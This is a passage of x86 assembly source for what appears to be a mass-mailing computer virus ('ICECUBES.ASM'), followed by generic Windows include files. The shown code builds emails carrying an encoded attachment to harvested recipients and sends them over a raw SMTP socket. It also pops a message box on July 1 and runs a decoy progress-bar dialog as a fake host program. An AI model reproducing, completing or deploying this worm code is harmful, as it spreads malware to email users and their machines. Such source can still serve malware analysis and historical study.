|
|||
|
jmp EmailBody_EmailTo
|
|||
|
|
|||
|
EmailBody_MakeEmailFrom:
|
|||
|
lea esi, [ebp + fromtag]
|
|||
|
mov ecx, 05h
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov esi, dword ptr [ebp + fromaddress]
|
|||
|
add esi, 11d
|
|||
|
mov ecx, dword ptr [ebp + fromsize]
|
|||
|
sub ecx, 11d
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
EmailBody_EmailTo:
|
|||
|
cmp [ebp + tostatus], 01h
|
|||
|
jne EmailBody_MakeEmailTo
|
|||
|
|
|||
|
mov esi, [ebp + mimeto_address]
|
|||
|
mov ecx, [ebp + mimetosize]
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
jmp EmailBody_EmailStartPart
|
|||
|
|
|||
|
EmailBody_MakeEmailTo:
|
|||
|
lea esi, [ebp + totag]
|
|||
|
mov ecx, 03h
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
xor ecx, ecx
|
|||
|
mov [ebp + totalrcptsize], 00h
|
|||
|
|
|||
|
RcptStringLoop:
|
|||
|
push ecx
|
|||
|
|
|||
|
push edi
|
|||
|
mov edi, [ebp + rcpt_size_address]
|
|||
|
mov eax, ecx
|
|||
|
mov edx, 04h
|
|||
|
mul edx
|
|||
|
add edi, eax
|
|||
|
mov ecx, dword ptr [edi]
|
|||
|
pop edi
|
|||
|
|
|||
|
push ecx
|
|||
|
mov esi, [ebp + rcpt_buffer_address]
|
|||
|
mov eax, [ebp + totalrcptsize]
|
|||
|
add esi, eax
|
|||
|
add esi, 08h
|
|||
|
sub ecx, 08h
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
pop ecx
|
|||
|
add eax, ecx
|
|||
|
mov [ebp + totalrcptsize], eax
|
|||
|
|
|||
|
pop ecx
|
|||
|
inc ecx
|
|||
|
mov eax, [ebp + rcptnumber]
|
|||
|
cmp ecx, eax
|
|||
|
jne RcptStringLoop
|
|||
|
|
|||
|
EmailBody_EmailStartPart:
|
|||
|
lea esi, [ebp + emailstart]
|
|||
|
mov ecx, emailend-emailstart
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
EmailBody_EmailAttachement:
|
|||
|
mov esi, dword ptr [ebp + dmHnd]
|
|||
|
mov ecx, [ebp + encodedsize]
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
EmailBody_EmailEndPart:
|
|||
|
lea esi, [ebp + emailtail]
|
|||
|
mov ecx, 17d
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
EmailBody_EndTag:
|
|||
|
lea esi, [ebp + endtag]
|
|||
|
mov ecx, 05h
|
|||
|
add [ebp + email_size], ecx
|
|||
|
rep movsb
|
|||
|
|
|||
|
SendEmailBody:
|
|||
|
mov eax, [ebp + email_buffer_address]
|
|||
|
mov ecx, [ebp + email_size]
|
|||
|
call SendCommand
|
|||
|
call ReceiveReply
|
|||
|
|
|||
|
MessageBoxDay:
|
|||
|
lea eax, [ebp + timedate]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + AGetSystemTime]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
xor eax, eax
|
|||
|
mov ax, word ptr [ebp + timedate.wMonth]
|
|||
|
cmp ax, 07h
|
|||
|
jne SendError
|
|||
|
mov ax, word ptr [ebp + timedate.wDay]
|
|||
|
cmp ax, 01h
|
|||
|
jne SendError
|
|||
|
|
|||
|
MessageBoxPayload:
|
|||
|
mov eax, 0040h
|
|||
|
push eax
|
|||
|
lea eax, [ebp + windowtitle]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + msgmessage]
|
|||
|
push eax
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + AMessageBox]
|
|||
|
call GETUAPI
|
|||
|
|
|||
|
SendError:
|
|||
|
ret
|
|||
|
|
|||
|
;-----------------------------[ send routine ]------------------------------;
|
|||
|
|
|||
|
SendCommand:
|
|||
|
push eax
|
|||
|
|
|||
|
push 0h
|
|||
|
push ecx
|
|||
|
push eax
|
|||
|
push dword ptr [ebp + socketh]
|
|||
|
lea eax, [ebp + ASend]
|
|||
|
call GETWAPI
|
|||
|
|
|||
|
cmp eax, -1
|
|||
|
jne SendWentOk
|
|||
|
|
|||
|
pop eax
|
|||
|
jmp SendCommand
|
|||
|
|
|||
|
SendWentOk:
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
;--------------------------[ receive routine ]------------------------------;
|
|||
|
|
|||
|
ReceiveReply:
|
|||
|
push LARGE 0
|
|||
|
push LARGE 60
|
|||
|
lea eax, [ebp + recvbuffer]
|
|||
|
push eax
|
|||
|
push dword ptr [ebp + socketh]
|
|||
|
lea eax, [ebp + ARecv]
|
|||
|
call GETWAPI ; call the api
|
|||
|
|
|||
|
cmp eax, -1
|
|||
|
je ReceiveReply
|
|||
|
ret
|
|||
|
|
|||
|
SEND_MAIL endp
|
|||
|
|
|||
|
;****************************************************************************;
|
|||
|
|
|||
|
Leap:
|
|||
|
|
|||
|
.code
|
|||
|
|
|||
|
OriginalHost:
|
|||
|
push 0
|
|||
|
call GetModuleHandleA
|
|||
|
mov hInst, eax
|
|||
|
|
|||
|
CreateProgressWindow:
|
|||
|
push 00h
|
|||
|
push offset MYDIALOG_0
|
|||
|
push 00h
|
|||
|
push 102
|
|||
|
push hInst
|
|||
|
call DialogBoxParamA
|
|||
|
|
|||
|
CreateMainWindow:
|
|||
|
push 00h
|
|||
|
push offset MYDIALOG_1
|
|||
|
push 00h
|
|||
|
push 103
|
|||
|
push hInst
|
|||
|
call DialogBoxParamA
|
|||
|
|
|||
|
Leave:
|
|||
|
push 0
|
|||
|
call ExitProcess
|
|||
|
|
|||
|
;============================[ ic-host_code.inc ]============================;
|
|||
|
|
|||
|
MYDIALOG_0 proc handle, umsg, wparam, lparam: dword
|
|||
|
|
|||
|
CheckParameter:
|
|||
|
cmp [umsg], WM_INITDIALOG
|
|||
|
je CenterDlg
|
|||
|
cmp [umsg], WM_DESTROY
|
|||
|
je Exit
|
|||
|
cmp [umsg], WM_CLOSE
|
|||
|
je Exit
|
|||
|
cmp flag, 01h
|
|||
|
je CreateProgressThread
|
|||
|
cmp flag, 02h
|
|||
|
je Exit
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
CenterDlg:
|
|||
|
push offset dlgrect
|
|||
|
push handle
|
|||
|
call GetWindowRect
|
|||
|
call GetDesktopWindow
|
|||
|
push offset desktoprect
|
|||
|
push eax
|
|||
|
call GetWindowRect
|
|||
|
|
|||
|
push 00h
|
|||
|
mov eax, dlgrect.rcBottom
|
|||
|
sub eax, dlgrect.rcTop
|
|||
|
mov dlgheight, eax
|
|||
|
push eax ; height
|
|||
|
mov eax, dlgrect.rcRight
|
|||
|
sub eax, dlgrect.rcLeft
|
|||
|
mov dlgwidth, eax ; width
|
|||
|
push eax
|
|||
|
mov eax, desktoprect.rcBottom
|
|||
|
sub eax, dlgheight
|
|||
|
shr eax, 1
|
|||
|
push eax ; bottom
|
|||
|
mov eax, desktoprect.rcRight
|
|||
|
sub eax, dlgwidth
|
|||
|
shr eax, 1
|
|||
|
push eax ; top
|
|||
|
push handle ; handle
|
|||
|
call MoveWindow ; move to center
|
|||
|
mov flag, 01h
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
CreateProgressThread:
|
|||
|
push offset threadid
|
|||
|
push 00h
|
|||
|
push handle
|
|||
|
push offset PROGRESS
|
|||
|
push 00h
|
|||
|
push 00h
|
|||
|
call CreateThread
|
|||
|
mov flag, 00h
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
Exit:
|
|||
|
push wparam
|
|||
|
push handle
|
|||
|
call EndDialog
|
|||
|
mov eax, 01h
|
|||
|
ret
|
|||
|
|
|||
|
MYDIALOG_0 endp
|
|||
|
|
|||
|
MYDIALOG_1 proc handle, umsg, wparam, lparam: dword
|
|||
|
|
|||
|
CheckParameter1:
|
|||
|
cmp [umsg], WM_INITDIALOG
|
|||
|
je CenterDlg1
|
|||
|
cmp [umsg], WM_DESTROY
|
|||
|
je Exit1
|
|||
|
cmp [umsg], WM_CLOSE
|
|||
|
je Exit1
|
|||
|
cmp [umsg], WM_COMMAND
|
|||
|
je CheckCommand
|
|||
|
cmp [umsg], WM_VSCROLL
|
|||
|
je SpinButtonClick
|
|||
|
cmp initflag, 01h
|
|||
|
je InitValues
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
CheckCommand:
|
|||
|
cmp [wparam], 1009
|
|||
|
je Exit
|
|||
|
cmp [wparam], 1014
|
|||
|
je SetOkFlag
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
SpinButtonClick:
|
|||
|
xor eax, eax
|
|||
|
mov ecx, [wparam]
|
|||
|
rol ecx, 16
|
|||
|
mov ax, cx
|
|||
|
|
|||
|
mov ecx, pastvalue
|
|||
|
cmp ecx, eax
|
|||
|
jge PressedUp
|
|||
|
|
|||
|
PressedDown:
|
|||
|
mov pastvalue, eax
|
|||
|
cmp doneflag, 00h
|
|||
|
jne Reset
|
|||
|
cmp currentvalue, '0'
|
|||
|
je DontDecrease
|
|||
|
dec byte ptr currentvalue
|
|||
|
|
|||
|
DontDecrease:
|
|||
|
push offset currentvalue
|
|||
|
push 00h
|
|||
|
push WM_SETTEXT
|
|||
|
push 1003
|
|||
|
push handle
|
|||
|
call SendDlgItemMessageA
|
|||
|
mov doneflag, 01h
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
PressedUp:
|
|||
|
mov pastvalue, eax
|
|||
|
cmp currentvalue, '9'
|
|||
|
je Reset
|
|||
|
cmp doneflag, 00h
|
|||
|
jne Reset
|
|||
|
inc byte ptr currentvalue
|
|||
|
push offset currentvalue
|
|||
|
push 00h
|
|||
|
push WM_SETTEXT
|
|||
|
push 1003
|
|||
|
push handle
|
|||
|
call SendDlgItemMessageA
|
|||
|
mov doneflag, 01h
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
Reset:
|
|||
|
mov doneflag, 00h
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
SetOkFlag:
|
|||
|
mov okflag, 01h
|
|||
|
jmp Exit
|
|||
|
|
|||
|
CenterDlg1:
|
|||
|
push offset dlgrect
|
|||
|
push handle
|
|||
|
call GetWindowRect
|
|||
|
call GetDesktopWindow
|
|||
|
push offset desktoprect
|
|||
|
push eax
|
|||
|
call GetWindowRect
|
|||
|
|
|||
|
push 00h
|
|||
|
mov eax, dlgrect.rcBottom
|
|||
|
sub eax, dlgrect.rcTop
|
|||
|
mov dlgheight, eax
|
|||
|
push eax ; height
|
|||
|
mov eax, dlgrect.rcRight
|
|||
|
sub eax, dlgrect.rcLeft
|
|||
|
mov dlgwidth, eax ; width
|
|||
|
push eax
|
|||
|
mov eax, desktoprect.rcBottom
|
|||
|
sub eax, dlgheight
|
|||
|
shr eax, 1
|
|||
|
push eax ; bottom
|
|||
|
mov eax, desktoprect.rcRight
|
|||
|
sub eax, dlgwidth
|
|||
|
shr eax, 1
|
|||
|
push eax ; top
|
|||
|
push handle ; handle
|
|||
|
call MoveWindow ; move to center
|
|||
|
mov initflag, 01h
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
InitValues:
|
|||
|
mov initflag, 00h
|
|||
|
call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h
|
|||
|
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11
|
|||
|
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12
|
|||
|
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13
|
|||
|
call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14
|
|||
|
call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h
|
|||
|
call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue
|
|||
|
call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3
|
|||
|
call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4
|
|||
|
call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h
|
|||
|
call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h
|
|||
|
call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h
|
|||
|
call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h
|
|||
|
call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h
|
|||
|
xor eax, eax
|
|||
|
ret
|
|||
|
|
|||
|
Exit1:
|
|||
|
push wparam
|
|||
|
push handle
|
|||
|
call EndDialog
|
|||
|
mov eax, 01h
|
|||
|
ret
|
|||
|
|
|||
|
MYDIALOG_1 endp
|
|||
|
|
|||
|
PROGRESS proc handle: dword
|
|||
|
|
|||
|
ClearProgressBar:
|
|||
|
push 00h
|
|||
|
push 00h
|
|||
|
push PBM_SETPOS
|
|||
|
push 105
|
|||
|
push handle
|
|||
|
call SendDlgItemMessageA
|
|||
|
xor eax, eax
|
|||
|
xor ecx, ecx
|
|||
|
|
|||
|
LittleLoop:
|
|||
|
inc ecx
|
|||
|
cmp ecx, 100000h
|
|||
|
jne LittleLoop
|
|||
|
|
|||
|
ProgressLoop:
|
|||
|
inc eax
|
|||
|
push 00h
|
|||
|
push eax
|
|||
|
push PBM_SETPOS
|
|||
|
push 105
|
|||
|
push handle
|
|||
|
call SendDlgItemMessageA
|
|||
|
xor ecx, ecx
|
|||
|
cmp eax, 99d
|
|||
|
jne LittleLoop
|
|||
|
|
|||
|
ProgressDone:
|
|||
|
mov flag, 02h
|
|||
|
push threadid
|
|||
|
call CloseHandle
|
|||
|
ret
|
|||
|
|
|||
|
PROGRESS endp
|
|||
|
|
|||
|
;============================================================================;
|
|||
|
|
|||
|
end Start
|
|||
|
end
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[ICECUBES.ASM]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MYINC.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
LPVOID typedef DWORD ;long ptr to buffer
|
|||
|
BOOL typedef DWORD ;boolean variable
|
|||
|
HANDLE typedef DWORD ;unspecified handle
|
|||
|
LPSTR typedef DWORD ;long ptr to string
|
|||
|
LPBYTE typedef DWORD ;long ptr to byte
|
|||
|
ACHAR typedef BYTE ;ansi character
|
|||
|
CHAR textequ <ACHAR> ;ansi char type
|
|||
|
CHAR_ equ 1 ;ansi char size
|
|||
|
|
|||
|
CREATE_DEFAULT_ERROR_MODE equ 04000000h
|
|||
|
|
|||
|
SECURITY_ATTRIBUTES_ equ 4+4+4
|
|||
|
SECURITY_ATTRIBUTES struct
|
|||
|
sa_nLength DWORD SECURITY_ATTRIBUTES_ ;structure size
|
|||
|
sa_lpSecurityDescriptor LPVOID 0 ;security descriptor
|
|||
|
sa_bInheritHandle BOOL 0 ;handle inheritance flag
|
|||
|
SECURITY_ATTRIBUTES ends
|
|||
|
|
|||
|
PROCESS_INFORMATION struct
|
|||
|
pi_hProcess HANDLE 0 ;process handle
|
|||
|
pi_hThread HANDLE 0 ;thread handle
|
|||
|
pi_dwProcessId DWORD 0 ;process id
|
|||
|
pi_dwThreadId DWORD 0 ;thread id
|
|||
|
PROCESS_INFORMATION ends
|
|||
|
PROCESS_INFORMATION_ equ 4+4+4+4
|
|||
|
|
|||
|
STARTUPINFO struct
|
|||
|
si_cb DWORD 0 ;structure size
|
|||
|
si_lpReserved LPSTR 0 ;(reserved)
|
|||
|
si_lpDesktop LPSTR 0 ;desktop name
|
|||
|
sl_lpTitle LPSTR 0 ;console window title
|
|||
|
si_dwX DWORD 0 ;window origin (column)
|
|||
|
si_dwY DWORD 0 ;window origin (row)
|
|||
|
si_dwXSize DWORD 0 ;window width
|
|||
|
si_dwYSize DWORD 0 ;window height
|
|||
|
si_dwXCountChars DWORD 0 ;screen buffer width
|
|||
|
si_dwYCountChars DWORD 0 ;screen buffer height
|
|||
|
si_dwFillAttribute DWORD 0 ;console window initialization
|
|||
|
si_dwFlags DWORD 0 ;structure member flags
|
|||
|
si_wShowWindow WORD 0 ;ShowWindow() parameter
|
|||
|
si_cbReserved2 WORD 0 ;(reserved)
|
|||
|
si_lpReserved2 LPBYTE 0 ;(reserved)
|
|||
|
si_hStdInput HANDLE 0 ;standard input handle
|
|||
|
si_hStdOutput HANDLE 0 ;standard output handle
|
|||
|
si_hStdError HANDLE 0 ;standard error handle
|
|||
|
STARTUPINFO ends
|
|||
|
STARTUPINFO_ equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4
|
|||
|
|
|||
|
SYSTEMTIME struct
|
|||
|
wYear WORD 0 ;current year
|
|||
|
wMonth WORD 0 ;current month (1..12)
|
|||
|
wDayOfWeek WORD 0 ;day of week (0 = sunday)
|
|||
|
wDay WORD 0 ;current day of the month
|
|||
|
wHour WORD 0 ;current hour
|
|||
|
wMinute WORD 0 ;current minute
|
|||
|
wSecond WORD 0 ;current second
|
|||
|
wMilliseconds WORD 0 ;current millisecond
|
|||
|
SYSTEMTIME ends
|
|||
|
SYSTEMTIME_ equ 2+2+2+2+2+2+2+2
|
|||
|
;
|
|||
|
|
|||
|
WIN32_FIND_DATA_ equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)
|
|||
|
WIN32_FIND_DATA struct
|
|||
|
fd_dwFileAttributes DWORD 0 ;file attributes
|
|||
|
fd_ftCreationTime DWORD 0, 0 ;time of file creation
|
|||
|
fd_ftLastAccessTime DWORD 0, 0 ;time of last file access
|
|||
|
fd_ftLastWriteTime DWORD 0, 0 ;time of last write access
|
|||
|
fd_nFileSizeHigh DWORD 0 ;high-order word of file size
|
|||
|
fd_nFileSizeLow DWORD 0 ;low-order word of file size
|
|||
|
fd_dwReserved0 DWORD 0 ;(reserved)
|
|||
|
fd_dwReserved1 DWORD 0 ;(reserved)
|
|||
|
fd_cFileName CHAR 260 dup(0) ;matching file name
|
|||
|
fd_cAlternateFileName CHAR 14 dup(0) ;8.3 alias name
|
|||
|
WIN32_FIND_DATA ends
|
|||
|
;
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MYINC.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WINDOWS.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;*************************************************************************
|
|||
|
;
|
|||
|
; WINDOWS.INC - Windows assembly language structures & constants
|
|||
|
;
|
|||
|
;*************************************************************************
|
|||
|
;
|
|||
|
;
|
|||
|
; C/C++ Run Time Library - Version 7.0
|
|||
|
;
|
|||
|
; Copyright (c) 1985, 1996 by Borland International
|
|||
|
; All Rights Reserved.
|
|||
|
;
|
|||
|
;
|
|||
|
; Conditional Block includes: (True states)
|
|||
|
; NOTEXT - don't include TextMetric struc & text drawing modes & stock objs.
|
|||
|
; NORASTOPS - don't include binary and ternary raster ops.
|
|||
|
; NOVK - don't include virtual key definitions
|
|||
|
; NOMB - don't include message box definitions
|
|||
|
; NOWM - don't include window messages
|
|||
|
;
|
|||
|
;
|
|||
|
FALSE = 0
|
|||
|
TRUE = 1
|
|||
|
NULL = 0
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************
|
|||
|
;
|
|||
|
; Misc EQU's
|
|||
|
;
|
|||
|
;*******************************************************************
|
|||
|
|
|||
|
SB_SETTEXTA equ WM_USER+01
|
|||
|
SB_GETTEXTA equ WM_USER+02
|
|||
|
SB_GETTEXTLENGTHA equ WM_USER+03
|
|||
|
SB_SETPARTS equ WM_USER+04
|
|||
|
SB_GETPARTS equ WM_USER+06
|
|||
|
SB_GETBORDERS equ WM_USER+07
|
|||
|
SB_SETMINHEIGHT equ WM_USER+08
|
|||
|
SB_SIMPLE equ WM_USER+09
|
|||
|
SB_GETRECT equ WM_USER+10
|
|||
|
SB_SETTEXTW equ WM_USER+11
|
|||
|
SB_GETTEXTLENGTHW equ WM_USER+12
|
|||
|
SB_GETTEXTW equ WM_USER+13
|
|||
|
|
|||
|
GCL_MENUNAME equ -8
|
|||
|
GCL_HBRBACKGROUND equ -10
|
|||
|
GCL_HCURSOR equ -12
|
|||
|
GCL_HICON equ -14
|
|||
|
GCL_HMODULE equ -16
|
|||
|
GCL_CBWNDEXTRA equ -18
|
|||
|
GCL_CBCLSEXTRA equ -20
|
|||
|
GCL_WNDPROC equ -24
|
|||
|
GCL_STYLE equ -26
|
|||
|
|
|||
|
PBM_SETRANGE equ WM_USER+1
|
|||
|
PBM_SETPOS equ WM_USER+2
|
|||
|
PBM_DELTAPOS equ WM_USER+3
|
|||
|
PBM_SETSTEP equ WM_USER+4
|
|||
|
PBM_STEPIT equ WM_USER+5
|
|||
|
|
|||
|
ICON_SMALL equ 0
|
|||
|
DEFAULT_PITCH equ 0
|
|||
|
DEFAULT_QUALITY equ 0
|
|||
|
OEM_CHARSET equ 255
|
|||
|
CLIP_CHARACTER_PRECIS equ 1
|
|||
|
CLIP_DEFAULT_PRECIS equ 0
|
|||
|
OUT_DEFAULT_PRECIS equ 0
|
|||
|
|
|||
|
;*******************************************************************
|
|||
|
;
|
|||
|
; Window Class
|
|||
|
;
|
|||
|
;*******************************************************************
|
|||
|
|
|||
|
DLGWINDOWEXTRA equ 30
|
|||
|
|
|||
|
WNDCLASSEX STRUCT
|
|||
|
wc_cbSize DWORD ?
|
|||
|
wc_style DWORD ?
|
|||
|
wc_lpfnWndProc DWORD ?
|
|||
|
wc_cbClsExtra DWORD ?
|
|||
|
wc_cbWndExtra DWORD ?
|
|||
|
wc_hInstance DWORD ?
|
|||
|
wc_hIcon DWORD ?
|
|||
|
wc_hCursor DWORD ?
|
|||
|
wc_hbrBackground DWORD ?
|
|||
|
wc_lpszMenuName DWORD ?
|
|||
|
wc_lpszClassName DWORD ?
|
|||
|
wc_hIconSm DWORD ?
|
|||
|
WNDCLASSEX ENDS
|
|||
|
|
|||
|
;*******************************************************************
|
|||
|
;
|
|||
|
; Message Structure
|
|||
|
;
|
|||
|
;*******************************************************************
|
|||
|
|
|||
|
MSG STRUCT
|
|||
|
msg_hwnd DWORD ?
|
|||
|
msg_message DWORD ?
|
|||
|
msg_wParam DWORD ?
|
|||
|
msg_lParam DWORD ?
|
|||
|
msg_time DWORD ?
|
|||
|
msg_pt QWORD ?
|
|||
|
MSG ENDS
|
|||
|
|
|||
|
;*******************************************************************
|
|||
|
;
|
|||
|
; Open Filename Dialog
|
|||
|
;
|
|||
|
;*******************************************************************
|
|||
|
|
|||
|
OPENFILENAME STRUCT
|
|||
|
of_lStructSize DWORD ?
|
|||
|
of_hWndOwner DWORD ?
|
|||
|
of_hInstance DWORD ?
|
|||
|
of_lpstrFilter DWORD ?
|
|||
|
of_lpstrCustomFilter DWORD ?
|
|||
|
of_nMaxCustFilter DWORD ?
|
|||
|
of_nFilterIndex DWORD ?
|
|||
|
of_lpstrFile DWORD ?
|
|||
|
of_nMaxFile DWORD ?
|
|||
|
of_lpstrFileTitle DWORD ?
|
|||
|
of_nMaxFileTitle DWORD ?
|
|||
|
of_lpstrInitialDir DWORD ?
|
|||
|
of_lpstrTitle DWORD ?
|
|||
|
of_Flags DWORD ?
|
|||
|
of_nFileOffset WORD ?
|
|||
|
of_nFileExtension WORD ?
|
|||
|
of_lpstrDefExt DWORD ?
|
|||
|
of_lCustData DWORD ?
|
|||
|
of_lpfnHook DWORD ?
|
|||
|
of_lpTemplateName DWORD ?
|
|||
|
OPENFILENAME ENDS
|
|||
|
|
|||
|
OFN_ALLOWMULTISELECT equ 00000200h
|
|||
|
OFN_CREATEPROMPT equ 00002000h
|
|||
|
OFN_ENABLEHOOK equ 00000020h
|
|||
|
OFN_ENABLETEMPLATE equ 00000040h
|
|||
|
OFN_ENABLETEMPLATEHANDLE equ 00000080h
|
|||
|
OFN_EXPLORER equ 00080000h
|
|||
|
OFN_EXTENSIONDIFFERENT equ 00000400h
|
|||
|
OFN_FILEMUSTEXIST equ 00001000h
|
|||
|
OFN_HIDEREADONLY equ 00000004h
|
|||
|
OFN_LONGNAMES equ 00200000h
|
|||
|
OFN_NOCHANGEDIR equ 00000008h
|
|||
|
OFN_NODEREFERENCELINKS equ 00100000h
|
|||
|
OFN_NOLONGNAMES equ 00040000h
|
|||
|
OFN_NONETWORKBUTTON equ 00020000h
|
|||
|
OFN_NOREADONLYRETURN equ 00008000h
|
|||
|
OFN_NOTESTFILECREATE equ 00010000h
|
|||
|
OFN_NOVALIDATE equ 00000100h
|
|||
|
OFN_OVERWRITEPROMPT equ 00000002h
|
|||
|
OFN_PATHMUSTEXIST equ 00000800h
|
|||
|
OFN_READONLY equ 00000001h
|
|||
|
OFN_SHAREAWARE equ 00004000h
|
|||
|
OFN_SHOWHELP equ 00000010h
|
|||
|
OFN_SHAREFALLTHROUGH equ 2
|
|||
|
OFN_SHARENOWARN equ 1
|
|||
|
OFN_SHAREWARN equ 0
|
|||
|
|
|||
|
|
|||
|
;*******************************************************************
|
|||
|
;
|
|||
|
; List View Control
|
|||
|
;
|
|||
|
;*******************************************************************
|
|||
|
|
|||
|
LVM_GETITEM equ LVM_FIRST + 5
|
|||
|
LVM_GETITEMW equ LVM_FIRST + 75
|
|||
|
LVM_SETITEM equ LVM_FIRST + 6
|
|||
|
LVM_SETITEMW equ LVM_FIRST + 76
|
|||
|
LVM_INSERTITEM equ LVM_FIRST + 7
|
|||
|
LVM_INSERTITEMW equ LVM_FIRST + 77
|
|||
|
LVM_DELETEITEM equ LVM_FIRST + 8
|
|||
|
LVM_DELETEALLITEMS equ LVM_FIRST + 9
|
|||
|
LVM_GETCALLBACKMASK equ LVM_FIRST + 10
|
|||
|
LVM_FIRST equ 1000h
|
|||
|
LVM_SETCALLBACKMASK equ LVM_FIRST + 11
|
|||
|
LVM_GETITEMRECT equ LVM_FIRST + 14
|
|||
|
LVM_SETITEMPOSITION equ LVM_FIRST + 15
|
|||
|
LVM_GETITEMPOSITION equ LVM_FIRST + 16
|
|||
|
